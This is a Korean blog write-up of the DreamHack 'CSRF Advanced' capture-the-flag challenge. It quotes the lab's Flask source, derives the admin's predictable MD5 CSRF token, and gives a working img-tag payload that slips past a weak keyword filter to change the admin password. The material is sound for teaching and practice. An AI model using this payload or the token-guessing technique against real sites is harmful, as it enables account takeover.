[DreamHack] [web] [Level 1] CSRF Advanced 풀이

2024. 12. 26. 14:30Information Security 정보보안/DreamHack

728x90

배울내용 

dreamhack,

web hacking,

개발자도구,

dreamhack 풀이,

dreamhack CSRF Advanced 문제,

dreamhack web 풀이 ,

CSRF Advanced ,

Cross-Site Request Forgery

 

 

 

문제

 

 

 

제목만 봤을때 Cross-Site Request Forgery 와 연관된 문제인걸 알수있다

 

 

CSRF (사이트 간 요청 위조, Cross-Site Request Forgery) 란? 

 

 사용자가 신뢰하는 웹 애플리케이션에서 본인이 의도하지 않은 작업을 수행하도록 속이는 웹 보안 취약점. CSRF는 웹 애플리케이션이 사용자의 브라우저를 신뢰한다는 점을 악용한다.

 

 

 

 

 

login과 changpassoword 는 각각 로그인창와 url 만 changepassword 가 추가된 것으로 나온다

 

그리고 vuln(csrf)page 로 들어가면 아래의 url 을 가지고 사진이 있는데 아무것도 안보이는걸 볼수있다 

 

http://host3.dreamhack.games:13174/vuln?param=%3Cimg%20src=https://dreamhack.io/assets/img/logo.0a8aabe.svg%3E

 

 

flag 에서는 아래처럼 csrf 페이지에서 보는것처럼 무언가 넣으면 flag를 획득하는것으로 예상된다

 

 

 

우선 vuln(csrf)page 에 있는걸 그대로 flag 창에 넣어서 제출하니 good 이라는 알람창만 뛰우고 다른 성공플레그는 획득하지 못하는걸 볼수있다. (다른글도 전부 good 이라뜸) 

 

 

 

아마 여기서부터는 코드를 확인해봐야할것같다

코드를 보니 admin 으로 로그인하면 flag 를 획득하는걸 볼수있다

@app.route("/")
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')

 

 

 

 

그리고 아까 봤던 csrf 에 script 를 쓰려고하면 모든 script를 소문자로 치환하고 이를 필터링 하는걸 볼수있다

 

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param

 

 

그렇지만 xss_filter 에는 frame(iframe방지) , script 방지 , on 을 막고있지 img 태그는 따로 막고있지 않는걸 볼수있다

 

@app.route("/change_password")
def change_password():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
        csrf_token = token_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')
    pw = request.args.get("pw", None)
    if pw == None:
        return render_template('change_password.html', csrf_token=csrf_token)
    else:
        if csrf_token != request.args.get("csrftoken", ""):
            return '<script>alert("wrong csrf token");history.go(-1);</script>'
        users[username] = pw
        return '<script>alert("Done");history.go(-1);</script>'

 

 

비밀번호 바꾸는데서보니 username 과 세션 아이디만 있으면 admin의 비밀번호를 원하는데로 바꾸어 admin 으로 로그인가능 할것으로 보인다.

 

 

그럴려면 아래와 같이 암호화 되어있는걸 해줘야하는데 username은 admin 에 remote_addr 을 합친걸 md5로 암호화한걸 알아야하는데 remote_addr 을 모른다 

 

token_storage[session_id] = md5((username + request.remote_addr).encode()).hexdigest()

 

 

그래서 코드를 좀더 살펴보니 read_url 에서 driver.get(127.0.0.1)...~ 이란걸알수있었고 이를 위에 보이는 방식대로 코드를 만들면 token을 얻을수있을것같다

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    service = Service(executable_path="/chromedriver")
    options = webdriver.ChromeOptions()
    try:
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/login")
        driver.add_cookie(cookie)
        driver.find_element(by=By.NAME, value="username").send_keys("admin")
        driver.find_element(by=By.NAME, value="password").send_keys(users["admin"])
        driver.find_element(by=By.NAME, value="submit").click()
        driver.get(url)

 

그래서 아래처럼 간단한 코드로 admin 과 127.0.0.1 을 합쳐서 md5로 암호화 해보니 아래와 같이 나왔고 

 

 

csrf_token: 7505b9c72ab4aa94b1a4ed7b207b67fb

 

 

그리고 이값을 비밀번호나오는걸 이용해 flag 페이지에서 아래와 같이 입력해준다 

 <img src=http://127.0.0.1:8000/change_password?pw=sarimus&csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb>

 

 

 

그럼 또다시 good 이라고만 나오는데 이번엔 로그인 페이지로 가서 아까 바꾼 password (sarimus) 로 로그인시도를 해본다

 

 

 

 

그러면 성공적으로 플레그를 뛰울수있게 된다 

 

 

 

728x90